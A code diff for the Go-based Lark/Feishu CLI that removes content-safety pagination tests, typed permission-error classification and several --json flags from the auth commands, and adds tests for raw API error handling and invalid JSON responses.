@@ -425,274 +377,6 @@ func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
 	}
 }

-func TestApiCmd_PageAll_StreamBusinessErrorDoesNotDumpJSON(t *testing.T) {
-	f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app-pageall-stream-err", AppSecret: "test-secret-pageall-stream-err", Brand: core.BrandFeishu,
-	})
-
-	reg.Register(&httpmock.Stub{
-		URL: "/open-apis/contact/v3/users",
-		Body: map[string]interface{}{
-			"code": 0, "msg": "ok",
-			"data": map[string]interface{}{
-				"items":      []interface{}{map[string]interface{}{"id": "safe-page"}},
-				"has_more":   true,
-				"page_token": "next",
-			},
-		},
-	})
-	reg.Register(&httpmock.Stub{
-		URL: "/open-apis/contact/v3/users",
-		Body: map[string]interface{}{
-			"code": 230027, "msg": "user not authorized",
-		},
-	})
-
-	cmd := NewCmdApi(f, nil)
-	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
-	err := cmd.Execute()
-	if err == nil {
-		t.Fatal("expected error for non-zero code on later page")
-	}
-	requireProblem(t, err, errs.CategoryAuthorization, errs.SubtypeUserUnauthorized, 230027)
-	out := stdout.String()
-	if !strings.Contains(out, "safe-page") {
-		t.Fatalf("expected earlier successful page to remain streamed, got: %s", out)
-	}
-	if strings.Contains(out, "230027") || strings.Contains(out, "user not authorized") {
-		t.Fatalf("streaming stdout should not contain raw error JSON, got: %s", out)
-	}
-	if strings.Contains(out, "\n  \"code\"") {
-		t.Fatalf("streaming stdout should not contain indented JSON error dump, got: %s", out)
-	}
-}
-
-func TestApiCmd_PageAll_BatchAPI_DefaultJSONEnvelope(t *testing.T) {
-	f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app-pageall-json", AppSecret: "test-secret-pageall-json", Brand: core.BrandFeishu,
-	})
-
-	reg.Register(&httpmock.Stub{
-		URL: "/open-apis/contact/v3/users",
-		Body: map[string]interface{}{
-			"code": 0, "msg": "ok",
-			"data": map[string]interface{}{
-				"items":    []interface{}{map[string]interface{}{"id": "1"}},
-				"has_more": false,
-			},
-		},
-	})
-
-	cmd := NewCmdApi(f, nil)
-	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-
-	var got map[string]interface{}
-	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
-		t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
-	}
-	data, ok := got["data"].(map[string]interface{})
-	if got["ok"] != true || got["identity"] != "bot" || !ok {
-		t.Fatalf("unexpected envelope: %#v", got)
-	}
-	if _, hasCode := got["code"]; hasCode {
-		t.Fatalf("success envelope leaked outer code: %s", stdout.String())
-	}
-	items, ok := data["items"].([]interface{})
-	if !ok || len(items) != 1 {
-		t.Fatalf("data.items = %#v, want one item", data["items"])
-	}
-}
-
-type apiContentSafetyProvider struct {
-	called bool
-	path   string
-	data   interface{}
-	match  string
-}
-
-func (p *apiContentSafetyProvider) Name() string { return "api-test" }
-
-func (p *apiContentSafetyProvider) Scan(_ context.Context, req extcs.ScanRequest) (*extcs.Alert, error) {
-	p.called = true
-	p.path = req.Path
-	p.data = req.Data
-	if p.match != "" {
-		b, _ := json.Marshal(req.Data)
-		if !strings.Contains(string(b), p.match) {
-			return nil, nil
-		}
-	}
-	return &extcs.Alert{Provider: "api-test", MatchedRules: []string{"pagination"}}, nil
-}
-
-func TestApiCmd_PageAll_DefaultJSONRunsContentSafety(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
-	provider := &apiContentSafetyProvider{}
-	extcs.Register(provider)
-	t.Cleanup(func() { extcs.Register(nil) })
-
-	f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app-pageall-safety", AppSecret: "test-secret-pageall-safety", Brand: core.BrandFeishu,
-	})
-
-	reg.Register(&httpmock.Stub{
-		URL: "/open-apis/contact/v3/users",
-		Body: map[string]interface{}{
-			"code": 0, "msg": "ok",
-			"data": map[string]interface{}{
-				"items":    []interface{}{map[string]interface{}{"id": "1"}},
-				"has_more": false,
-			},
-		},
-	})
-
-	root := &cobra.Command{Use: "lark-cli"}
-	root.AddCommand(NewCmdApi(f, nil))
-	root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
-	if err := root.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if !provider.called {
-		t.Fatal("expected content safety provider to scan paginated output")
-	}
-	if provider.path != "api" {
-		t.Fatalf("scan path = %q, want api", provider.path)
-	}
-	data, ok := provider.data.(map[string]interface{})
-	if !ok {
-		t.Fatalf("scanned data type = %T, want map", provider.data)
-	}
-	if _, hasCode := data["code"]; hasCode {
-		t.Fatalf("scanned data should be business data only, got %#v", data)
-	}
-
-	var got map[string]interface{}
-	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
-		t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
-	}
-	alert, ok := got["_content_safety_alert"].(map[string]interface{})
-	if !ok || alert["provider"] != "api-test" {
-		t.Fatalf("missing content safety alert in envelope: %#v", got)
-	}
-}
-
-func TestApiCmd_PageAll_StreamFormatRunsContentSafety(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
-	provider := &apiContentSafetyProvider{}
-	extcs.Register(provider)
-	t.Cleanup(func() { extcs.Register(nil) })
-
-	f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app-pageall-stream-safety", AppSecret: "test-secret-pageall-stream-safety", Brand: core.BrandFeishu,
-	})
-
-	reg.Register(&httpmock.Stub{
-		URL: "/open-apis/contact/v3/users",
-		Body: map[string]interface{}{
-			"code": 0, "msg": "ok",
-			"data": map[string]interface{}{
-				"items":    []interface{}{map[string]interface{}{"id": "1"}},
-				"has_more": false,
-			},
-		},
-	})
-
-	root := &cobra.Command{Use: "lark-cli"}
-	root.AddCommand(NewCmdApi(f, nil))
-	root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
-	if err := root.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if !provider.called {
-		t.Fatal("expected content safety provider to scan streamed paginated output")
-	}
-	if provider.path != "api" {
-		t.Fatalf("scan path = %q, want api", provider.path)
-	}
-	items, ok := provider.data.([]interface{})
-	if !ok || len(items) != 1 {
-		t.Fatalf("scanned data = %#v, want one streamed item", provider.data)
-	}
-	if !strings.Contains(stderr.String(), "warning: content safety alert from api-test") {
-		t.Fatalf("expected content safety warning on stderr, got: %s", stderr.String())
-	}
-	if !strings.Contains(stdout.String(), `"id":"1"`) {
-		t.Fatalf("expected streamed ndjson output, got: %s", stdout.String())
-	}
-}
-
-func TestApiCmd_PageAll_StreamFormatBlockSkipsBlockedPage(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
-	provider := &apiContentSafetyProvider{match: "blocked"}
-	extcs.Register(provider)
-	t.Cleanup(func() { extcs.Register(nil) })
-
-	f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app-pageall-stream-block", AppSecret: "test-secret-pageall-stream-block", Brand: core.BrandFeishu,
-	})
-
-	reg.Register(&httpmock.Stub{
-		URL: "/open-apis/contact/v3/users",
-		Body: map[string]interface{}{
-			"code": 0, "msg": "ok",
-			"data": map[string]interface{}{
-				"items":      []interface{}{map[string]interface{}{"id": "safe-page"}},
-				"has_more":   true,
-				"page_token": "next",
-			},
-		},
-	})
-	reg.Register(&httpmock.Stub{
-		URL: "/open-apis/contact/v3/users",
-		Body: map[string]interface{}{
-			"code": 0, "msg": "ok",
-			"data": map[string]interface{}{
-				"items":    []interface{}{map[string]interface{}{"id": "blocked-page"}},
-				"has_more": false,
-			},
-		},
-	})
-
-	root := &cobra.Command{Use: "lark-cli"}
-	root.AddCommand(NewCmdApi(f, nil))
-	root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
-	err := root.Execute()
-	if err == nil {
-		t.Fatal("expected content safety block error")
-	}
-	var safetyErr *errs.ContentSafetyError
-	if !errors.As(err, &safetyErr) {
-		t.Fatalf("expected ContentSafetyError, got %T: %v", err, err)
-	}
-	if safetyErr.Category != errs.CategoryPolicy || safetyErr.Subtype != errs.SubtypeContentSafety {
-		t.Fatalf("problem = %s/%s, want %s/%s", safetyErr.Category, safetyErr.Subtype, errs.CategoryPolicy, errs.SubtypeContentSafety)
-	}
-	if len(safetyErr.Rules) != 1 || safetyErr.Rules[0] != "pagination" {
-		t.Fatalf("rules = %v, want [pagination]", safetyErr.Rules)
-	}
-	out := stdout.String()
-	if !strings.Contains(out, "safe-page") {
-		t.Fatalf("expected earlier safe page to remain streamed, got: %s", out)
-	}
-	if strings.Contains(out, "blocked-page") {
-		t.Fatalf("blocked page was written before safety block: %s", out)
-	}
-}
-
-func requireProblem(t *testing.T, err error, category errs.Category, subtype errs.Subtype, code int) {
-	t.Helper()
-	p, ok := errs.ProblemOf(err)
-	if !ok {
-		t.Fatalf("expected typed error, got %T: %v", err, err)
-	}
-	if p.Category != category || p.Subtype != subtype || p.Code != code {
-		t.Fatalf("problem = %s/%s/%d, want %s/%s/%d", p.Category, p.Subtype, p.Code, category, subtype, code)
-	}
-}
-
 func TestNormalisePath_StripsQueryAndFragment(t *testing.T) {
 	for _, tt := range []struct {
 		name string
@@ -715,6 +399,154 @@ func TestNormalisePath_StripsQueryAndFragment(t *testing.T) {
 	}
 }

+func TestApiCmd_APIError_IsRaw(t *testing.T) {
+	f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app-raw", AppSecret: "test-secret-raw", Brand: core.BrandFeishu,
+	})
+
+	// Return a permission error from the API
+	reg.Register(&httpmock.Stub{
+		URL: "/open-apis/test/perm",
+		Body: map[string]interface{}{
+			"code": 99991672,
+			"msg":  "scope not enabled for this app",
+			"error": map[string]interface{}{
+				"permission_violations": []interface{}{
+					map[string]interface{}{"subject": "calendar:calendar:readonly"},
+				},
+			},
+		},
+	})
+
+	cmd := NewCmdApi(f, nil)
+	cmd.SetArgs([]string{"GET", "/open-apis/test/perm", "--as", "bot"})
+	err := cmd.Execute()
+	if err == nil {
+		t.Fatal("expected error for permission denied API response")
+	}
+
+	// Error should be marked Raw
+	var exitErr *output.ExitError
+	if !errors.As(err, &exitErr) {
+		t.Fatalf("expected *output.ExitError, got %T", err)
+	}
+	if !exitErr.Raw {
+		t.Error("expected API error from api command to be marked Raw")
+	}
+
+	// Note: stderr envelope output is tested at the root level (TestHandleRootError_*)
+	// since WriteErrorEnvelope is called by handleRootError, not by cobra's Execute.
+	_ = stderr
+}
+
+func TestApiCmd_APIError_PreservesOriginalMessage(t *testing.T) {
+	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app-origmsg", AppSecret: "test-secret-origmsg", Brand: core.BrandFeishu,
+	})
+
+	reg.Register(&httpmock.Stub{
+		URL: "/open-apis/test/origmsg",
+		Body: map[string]interface{}{
+			"code": 99991672,
+			"msg":  "scope not enabled for this app",
+			"error": map[string]interface{}{
+				"permission_violations": []interface{}{
+					map[string]interface{}{"subject": "im:message:readonly"},
+				},
+			},
+		},
+	})
+
+	cmd := NewCmdApi(f, nil)
+	cmd.SetArgs([]string{"GET", "/open-apis/test/origmsg", "--as", "bot"})
+	err := cmd.Execute()
+	if err == nil {
+		t.Fatal("expected error")
+	}
+
+	var exitErr *output.ExitError
+	if !errors.As(err, &exitErr) {
+		t.Fatalf("expected *output.ExitError, got %T", err)
+	}
+	// The message should NOT have been enriched (no "App scope not enabled" replacement)
+	if strings.Contains(exitErr.Error(), "App scope not enabled") {
+		t.Error("expected original message, not enriched message")
+	}
+	// Detail should still contain the raw API error detail
+	if exitErr.Detail == nil {
+		t.Fatal("expected non-nil Detail")
+	}
+	if exitErr.Detail.Detail == nil {
+		t.Error("expected raw Detail.Detail to be preserved (not cleared by enrichment)")
+	}
+}
+
+func TestApiCmd_InvalidJSONResponse_ShowsDiagnostic(t *testing.T) {
+	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app-invalidjson", AppSecret: "test-secret-invalidjson", Brand: core.BrandFeishu,
+	})
+
+	reg.Register(&httpmock.Stub{
+		URL:         "/open-apis/test/invalidjson",
+		RawBody:     []byte{},
+		ContentType: "application/json",
+	})
+
+	cmd := NewCmdApi(f, nil)
+	cmd.SetArgs([]string{"GET", "/open-apis/test/invalidjson", "--as", "bot"})
+	err := cmd.Execute()
+	if err == nil {
+		t.Fatal("expected error")
+	}
+
+	var exitErr *output.ExitError
+	if !errors.As(err, &exitErr) {
+		t.Fatalf("expected *output.ExitError, got %T", err)
+	}
+	if exitErr.Code != output.ExitAPI {
+		t.Fatalf("expected ExitAPI, got %d", exitErr.Code)
+	}
+	if exitErr.Detail == nil {
+		t.Fatal("expected detail on exit error")
+	}
+	if !strings.Contains(exitErr.Detail.Message, "invalid JSON response") &&
+		!strings.Contains(exitErr.Detail.Message, "empty JSON response body") {
+		t.Fatalf("expected JSON diagnostic, got %q", exitErr.Detail.Message)
+	}
+	if !strings.Contains(exitErr.Detail.Hint, "--output") {
+		t.Fatalf("expected hint to mention --output, got %q", exitErr.Detail.Hint)
+	}
+}
+
+func TestApiCmd_PageAll_APIError_IsRaw(t *testing.T) {
+	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app-rawpage", AppSecret: "test-secret-rawpage", Brand: core.BrandFeishu,
+	})
+
+	reg.Register(&httpmock.Stub{
+		URL: "/open-apis/test/rawpage",
+		Body: map[string]interface{}{
+			"code": 99991672,
+			"msg":  "scope not enabled",
+		},
+	})
+
+	cmd := NewCmdApi(f, nil)
+	cmd.SetArgs([]string{"GET", "/open-apis/test/rawpage", "--as", "bot", "--page-all"})
+	err := cmd.Execute()
+	if err == nil {
+		t.Fatal("expected error")
+	}
+
+	var exitErr *output.ExitError
+	if !errors.As(err, &exitErr) {
+		t.Fatalf("expected *output.ExitError, got %T", err)
+	}
+	if !exitErr.Raw {
+		t.Error("expected paginated API error to be marked Raw")
+	}
+}
+
 func TestApiCmd_JqFlag_Parsing(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -988,69 +820,3 @@ func TestApiCmd_DryRunWithFile(t *testing.T) {
 		t.Errorf("expected dry-run header, got: %s", out)
 	}
 }
-
-// TestApiCmd_PermissionError_DerivesFirstClassFields pins that when a Lark
-// API returns a missing-scope failure, the typed *errs.PermissionError
-// surfaced by `lark-cli api` lifts the diagnostic signals BuildAPIError
-// consumed during classification into first-class wire fields
-// (MissingScopes, LogID, ConsoleURL). The wire shape is the typed envelope
-// — there is no raw-payload passthrough; new Lark diagnostic fields require
-// a CLI release.
-func TestApiCmd_PermissionError_DerivesFirstClassFields(t *testing.T) {
-	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "cli_test_perm", AppSecret: "secret", Brand: core.BrandFeishu,
-	})
-
-	reg.Register(&httpmock.Stub{
-		URL: "/open-apis/docx/v1/documents/test",
-		Body: map[string]interface{}{
-			"code":   99991679,
-			"msg":    "scope missing",
-			"log_id": "20260527-test-log",
-			"error": map[string]interface{}{
-				"permission_violations": []interface{}{
-					map[string]interface{}{"subject": "docx:document"},
-				},
-			},
-		},
-	})
-
-	cmd := NewCmdApi(f, nil)
-	cmd.SetArgs([]string{"GET", "/open-apis/docx/v1/documents/test", "--as", "bot"})
-	err := cmd.Execute()
-	if err == nil {
-		t.Fatal("expected error for non-zero code")
-	}
-
-	var pe *errs.PermissionError
-	if !errors.As(err, &pe) {
-		t.Fatalf("expected *errs.PermissionError, got %T: %v", err, err)
-	}
-
-	if len(pe.MissingScopes) != 1 || pe.MissingScopes[0] != "docx:document" {
-		t.Errorf("MissingScopes = %v, want [docx:document]", pe.MissingScopes)
-	}
-	if pe.LogID != "20260527-test-log" {
-		t.Errorf("LogID = %q, want %q", pe.LogID, "20260527-test-log")
-	}
-}
-
-func TestApiCmd_JsonFlag_Accepted(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-
-	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
-		gotOpts = opts
-		return nil
-	})
-	cmd.SetArgs([]string{"GET", "/open-apis/test", "--json"})
-	err := cmd.Execute()
-	if err != nil {
-		t.Fatalf("--json should be accepted without error, got: %v", err)
-	}
-	if gotOpts.Method != "GET" {
-		t.Errorf("expected method GET, got %s", gotOpts.Method)
-	}
-}
--- a/cmd/auth/auth.go
+++ b/cmd/auth/auth.go
@@ -17,7 +17,6 @@ import (
 	larkauth "github.com/larksuite/cli/internal/auth"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/errclass"
 )

 // NewCmdAuth creates the auth command with subcommands.
@@ -44,7 +43,6 @@ func NewCmdAuth(f *cmdutil.Factory) *cobra.Command {
 	cmd.AddCommand(NewCmdAuthScopes(f, nil))
 	cmd.AddCommand(NewCmdAuthList(f, nil))
 	cmd.AddCommand(NewCmdAuthCheck(f, nil))
-	cmd.AddCommand(NewCmdAuthQRCode(f, nil))
 	return cmd
 }

@@ -71,7 +69,7 @@ func getUserInfo(ctx context.Context, sdk *lark.Client, accessToken string) (ope

 	var resp userInfoResponse
 	if err := json.Unmarshal(apiResp.RawBody, &resp); err != nil {
-		return "", "", fmt.Errorf("failed to parse user info: %w", err)
+		return "", "", fmt.Errorf("failed to parse user info: %v", err)
 	}
 	if resp.Code != 0 {
 		return "", "", fmt.Errorf("failed to get user info [%d]: %s", resp.Code, resp.Msg)
@@ -111,11 +109,6 @@ type appInfoResponse struct {
 	} `json:"data"`
 }

-// getAppInfoFn is the package-level seam used by callers (scopes.go) so tests
-// can substitute a fake without standing up a full SDK + httpmock pipeline.
-// Mirrors the pollDeviceToken pattern in login.go.
-var getAppInfoFn = getAppInfo
-
 // getAppInfo queries app info from the Lark API.
 func getAppInfo(ctx context.Context, f *cmdutil.Factory, appId string) (*appInfo, error) {
 	ac, err := f.NewAPIClient()
@@ -137,10 +130,10 @@ func getAppInfo(ctx context.Context, f *cmdutil.Factory, appId string) (*appInfo

 	var resp appInfoResponse
 	if err := json.Unmarshal(apiResp.RawBody, &resp); err != nil {
-		return nil, fmt.Errorf("failed to parse response: %w", err)
+		return nil, fmt.Errorf("failed to parse response: %v", err)
 	}
 	if resp.Code != 0 {
-		return nil, classifyAppInfoErr(apiResp.RawBody, resp.Code, resp.Msg, f, appId)
+		return nil, fmt.Errorf("API error [%d]: %s", resp.Code, resp.Msg)
 	}

 	app := resp.Data.App
@@ -159,21 +152,3 @@ func getAppInfo(ctx context.Context, f *cmdutil.Factory, appId string) (*appInfo

 	return &appInfo{OwnerOpenId: ownerOpenId, UserScopes: userScopes}, nil
 }
-
-// classifyAppInfoErr re-decodes the raw body so BuildAPIError sees the
-// upstream `error` block — the typed appInfoResponse shape drops it.
-func classifyAppInfoErr(rawBody []byte, code int, msg string, f *cmdutil.Factory, appId string) error {
-	var raw map[string]any
-	_ = json.Unmarshal(rawBody, &raw)
-	if raw == nil {
-		raw = map[string]any{}
-	}
-	raw["code"] = code
-	raw["msg"] = msg
-	cc := errclass.ClassifyContext{Identity: string(core.AsBot)}
-	if cfg, _ := f.Config(); cfg != nil {
-		cc.Brand = string(cfg.Brand)
-		cc.AppID = appId
-	}
-	return errclass.BuildAPIError(raw, cc)
-}
--- a/cmd/auth/auth_test.go
+++ b/cmd/auth/auth_test.go
@@ -12,7 +12,6 @@ import (
 	"strings"
 	"testing"

-	"github.com/larksuite/cli/errs"
 	extcred "github.com/larksuite/cli/extension/credential"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
@@ -62,7 +61,7 @@ func TestAuthLoginCmd_HelpGuidesNonStreamingAgentsToSplitFlow(t *testing.T) {
 	for _, want := range []string{
 		"only delivers final turn messages",
 		"--no-wait --json",
-		"send the verification URL (or QR code) to the user as your final message",
+		"send the verification URL to the user as your final message",
 		"run --device-code in a later step",
 	} {
 		if !strings.Contains(got, want) {
@@ -91,29 +90,6 @@ func TestAuthCheckCmd_FlagParsing(t *testing.T) {
 	}
 }

-func TestAuthCheckCmd_AcceptsJSONFlag(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-
-	var gotOpts *CheckOptions
-	cmd := NewCmdAuthCheck(f, func(opts *CheckOptions) error {
-		gotOpts = opts
-		return nil
-	})
-	cmd.SetArgs([]string{"--scope", "calendar:calendar:read", "--json"})
-	err := cmd.Execute()
-	if err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if gotOpts == nil {
-		t.Fatal("expected opts to be set")
-	}
-	if !gotOpts.JSON {
-		t.Error("expected JSON=true")
-	}
-}
-
 func TestAuthLogoutCmd_FlagParsing(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)

@@ -132,27 +108,6 @@ func TestAuthLogoutCmd_FlagParsing(t *testing.T) {
 	}
 }

-func TestAuthLogoutCmd_AcceptsJSONFlag(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, nil)
-
-	var gotOpts *LogoutOptions
-	cmd := NewCmdAuthLogout(f, func(opts *LogoutOptions) error {
-		gotOpts = opts
-		return nil
-	})
-	cmd.SetArgs([]string{"--json"})
-	err := cmd.Execute()
-	if err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if gotOpts == nil {
-		t.Fatal("expected opts to be set")
-	}
-	if !gotOpts.JSON {
-		t.Error("expected JSON=true")
-	}
-}
-
 func TestAuthListCmd_FlagParsing(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)

@@ -170,27 +125,6 @@ func TestAuthListCmd_FlagParsing(t *testing.T) {
 	}
 }

-func TestAuthListCmd_AcceptsJSONFlag(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, nil)
-
-	var gotOpts *ListOptions
-	cmd := NewCmdAuthList(f, func(opts *ListOptions) error {
-		gotOpts = opts
-		return nil
-	})
-	cmd.SetArgs([]string{"--json"})
-	err := cmd.Execute()
-	if err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if gotOpts == nil {
-		t.Error("expected opts to be set")
-	}
-	if !gotOpts.JSON {
-		t.Error("expected JSON=true")
-	}
-}
-
 func TestAuthStatusCmd_FlagParsing(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -210,29 +144,6 @@ func TestAuthStatusCmd_FlagParsing(t *testing.T) {
 	}
 }

-func TestAuthStatusCmd_AcceptsJSONFlag(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-
-	var gotOpts *StatusOptions
-	cmd := NewCmdAuthStatus(f, func(opts *StatusOptions) error {
-		gotOpts = opts
-		return nil
-	})
-	cmd.SetArgs([]string{"--json"})
-	err := cmd.Execute()
-	if err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if gotOpts == nil {
-		t.Error("expected opts to be set")
-	}
-	if !gotOpts.JSON {
-		t.Error("expected JSON=true")
-	}
-}
-
 func TestAuthStatusCmd_VerifyFlag(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -355,32 +266,6 @@ func TestAuthScopesCmd_FlagParsing(t *testing.T) {
 	}
 }

-func TestAuthScopesCmd_JSONFlagForcesJSONFormat(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-
-	var gotOpts *ScopesOptions
-	cmd := NewCmdAuthScopes(f, func(opts *ScopesOptions) error {
-		gotOpts = opts
-		return nil
-	})
-	cmd.SetArgs([]string{"--format", "pretty", "--json"})
-	err := cmd.Execute()
-	if err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if gotOpts == nil {
-		t.Fatal("expected opts to be set")
-	}
-	if !gotOpts.JSON {
-		t.Error("expected JSON=true")
-	}
-	if gotOpts.Format != "json" {
-		t.Errorf("expected format json, got %s", gotOpts.Format)
-	}
-}
-
 func TestAuthScopesRun_UsesTenantAccessTokenFromCredentialProvider(t *testing.T) {
 	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "", Brand: core.BrandFeishu,
@@ -433,54 +318,6 @@ func TestAuthScopesRun_UsesTenantAccessTokenFromCredentialProvider(t *testing.T)
 	}
 }

-// TestAuthScopesRun_LarkPermissionError_TypedAsPermissionError pins that when
-// the Lark API returns a permission code (99991679 with permission_violations),
-// getAppInfo classifies it as *errs.PermissionError carrying the server-
-// supplied MissingScopes — not a bare error wrapped as InternalError.
-func TestAuthScopesRun_LarkPermissionError_TypedAsPermissionError(t *testing.T) {
-	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-	tokenResolver := &authScopesTokenResolver{}
-	f.Credential = credential.NewCredentialProvider(nil, nil, tokenResolver, nil)
-
-	reg.Register(&httpmock.Stub{
-		Method: http.MethodGet,
-		URL:    "/open-apis/application/v6/applications/test-app",
-		Body: map[string]interface{}{
-			"code": 99991679,
-			"msg":  "scope missing",
-			"error": map[string]interface{}{
-				"permission_violations": []interface{}{
-					map[string]interface{}{"subject": "application:application:self_manage"},
-				},
-			},
-		},
-	})
-
-	err := authScopesRun(&ScopesOptions{
-		Factory: f,
-		Ctx:     context.Background(),
-		Format:  "json",
-	})
-	if err == nil {
-		t.Fatal("expected error, got nil")
-	}
-
-	var pe *errs.PermissionError
-	if !errors.As(err, &pe) {
-		t.Fatalf("expected *errs.PermissionError, got %T: %v", err, err)
-	}
-	if len(pe.MissingScopes) != 1 || pe.MissingScopes[0] != "application:application:self_manage" {
-		t.Errorf("MissingScopes = %v, want server-supplied [application:application:self_manage]", pe.MissingScopes)
-	}
-
-	var intErr *errs.InternalError
-	if errors.As(err, &intErr) {
-		t.Error("Lark business error must not be wrapped as InternalError; permission semantics lost")
-	}
-}
-
 type authScopesTokenResolver struct {
 	requests []credential.TokenSpec
 }
@@ -552,8 +389,15 @@ func TestAuthBlockedByExternalProvider(t *testing.T) {
 			if matched != nil && matched != cmd && !matched.SilenceUsage {
 				t.Error("expected PersistentPreRunE to set SilenceUsage on matched subcommand")
 			}
-			if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
-				t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
+			var exitErr *output.ExitError
+			if !errors.As(err, &exitErr) {
+				t.Fatalf("expected *output.ExitError, got %T: %v", err, err)
+			}
+			if exitErr.Code != output.ExitValidation {
+				t.Errorf("exit code = %d, want %d", exitErr.Code, output.ExitValidation)
+			}
+			if exitErr.Detail == nil || exitErr.Detail.Type != "external_provider" {
+				t.Errorf("error type = %v, want %q", exitErr.Detail, "external_provider")
 			}
 		})
 	}
--- a/cmd/auth/check.go
+++ b/cmd/auth/check.go
@@ -9,7 +9,6 @@ import (

 	"github.com/spf13/cobra"

-	"github.com/larksuite/cli/errs"
 	larkauth "github.com/larksuite/cli/internal/auth"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/output"
@@ -19,7 +18,6 @@ import (
 type CheckOptions struct {
 	Factory *cmdutil.Factory
 	Scope   string
-	JSON    bool
 }

 // NewCmdAuthCheck creates the auth check subcommand.
@@ -38,7 +36,6 @@ func NewCmdAuthCheck(f *cmdutil.Factory, runF func(*CheckOptions) error) *cobra.
 	}

 	cmd.Flags().StringVar(&opts.Scope, "scope", "", "scopes to check (space-separated)")
-	cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
 	cmd.MarkFlagRequired("scope")
 	cmdutil.SetRisk(cmd, "read")

@@ -50,7 +47,8 @@ func authCheckRun(opts *CheckOptions) error {

 	required := strings.Fields(opts.Scope)
 	if len(required) == 0 {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--scope cannot be empty").WithParam("--scope")
+		output.PrintJson(f.IOStreams.Out, map[string]interface{}{"ok": true, "granted": []string{}, "missing": []string{}})
+		return nil
 	}

 	config, err := f.Config()
--- a/cmd/auth/check_test.go
+++ b/cmd/auth/check_test.go
@@ -1,164 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package auth
-
-import (
-	"encoding/json"
-	"errors"
-	"testing"
-	"time"
-
-	larkauth "github.com/larksuite/cli/internal/auth"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-	"github.com/zalando/go-keyring"
-)
-
